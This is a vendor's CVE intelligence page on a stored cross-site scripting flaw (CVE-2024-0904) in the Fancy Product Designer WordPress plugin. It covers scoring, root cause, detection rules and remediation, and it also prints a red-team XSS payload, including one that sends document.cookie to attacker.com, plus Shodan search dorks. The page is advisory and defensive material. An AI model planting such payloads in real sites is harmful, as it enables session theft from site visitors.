☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0904

CVE-2024-0904 Cross-Site Scripting in Fancy product designer
📅 PUBLISHED: 2024-05-06 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0904 is a Stored Cross-Site Scripting (XSS) vulnerability in the Fancy Product Designer WordPress plugin, affecting versions prior to 6.1.81. The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts. In a multisite WordPress configuration, even when the unfiltered_html capability is disallowed, an admin can still execute stored XSS attacks. This can lead to session hijacking, defacement, or redirection of users to malicious sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of the plugin file by checking its SHA-256 hash against the official release. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 4.8 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Admin)
  • User Interaction: Required (Victim must visit affected page)
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires admin privileges, but in a multisite environment, the impact can be widespread.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, where user-supplied input is not properly sanitized before being stored and later rendered. An admin can inject arbitrary JavaScript into fields such as custom CSS, custom JS, or other configuration options. When a lower-privileged user (e.g., subscriber) visits a page that renders these settings, the injected script executes in their browser context.

Root Cause: The plugin uses echo or print to output settings values without applying esc_html() or wp_kses() filtering. This allows HTML/JavaScript to be stored and executed.

Attack Flow:

  1. Admin navigates to Fancy Product Designer settings.
  2. Admin injects malicious JavaScript into a vulnerable field (e.g., custom CSS).
  3. The script is stored in the WordPress database.
  4. A victim (e.g., shop customer) visits a product page that loads the plugin's settings.
  5. The injected script executes, stealing cookies or redirecting the user.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.1.81):

// In settings page output
echo $settings['custom_css'];

Patched Code (6.1.81+):

// Properly escape output
echo esc_html( $settings['custom_css'] );

The patch applies esc_html() to all settings output, preventing HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress multisite installation with Fancy Product Designer < 6.1.81.
  • Admin credentials for the network.

Exploitation Steps:

  1. Log in as a super admin.
  2. Navigate to Fancy Product Designer → Settings.
  3. In the "Custom CSS" field, inject:
    <script>alert('XSS')</script>
    
  4. Save settings.
  5. As a victim (e.g., subscriber), visit any product page that uses the plugin.
  6. The script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team

Detection:

  • Monitor for unusual changes to plugin settings by admin accounts.
  • Look for wp_options entries containing <script> tags.
  • Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin.php?page=fancy-product-designer.

Honeypot:

  • Deploy a fake admin account with low privileges to detect scanning attempts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/fancy-product-designer/fancy-product-designer.php (version < 6.1.81)
  • Database: wp_options table entries containing fancy_product_designer_settings with <script> tags.
  • Network: Outbound requests to attacker-controlled domains from admin pages.
  • Logs: WordPress debug log entries showing wp_kses or esc_html failures.

Detection Engineering

YARA Rule

rule CVE_2024_0904_Fancy_Product_Designer_XSS {
    meta:
        description = "Detects vulnerable Fancy Product Designer plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0904"
    strings:
        $vuln_func = /echo\s*\$settings\[/
        $plugin_header = "Fancy Product Designer"
    condition:
        $plugin_header and $vuln_func
}

Sigma Rule

title: CVE-2024-0904 Fancy Product Designer Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via plugin settings
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin.php?page=fancy-product-designer'
        http.body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0904 Fancy Product Designer Stored XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin.php?page=fancy-product-designer"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade to Fancy Product Designer version 6.1.81 or later.
  2. Workaround: If upgrade is not possible, restrict admin access to trusted users only. Disable the plugin on multisite networks until patched.
  3. WAF Rule: Block POST requests to admin.php?page=fancy-product-designer containing <script> tags.
  4. Monitoring: Enable WordPress audit logging to track changes to plugin settings.
  5. Least Privilege: Ensure only necessary users have admin capabilities.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Fancy Product Designer"
http.html:"fancy-product-designer"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0904/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.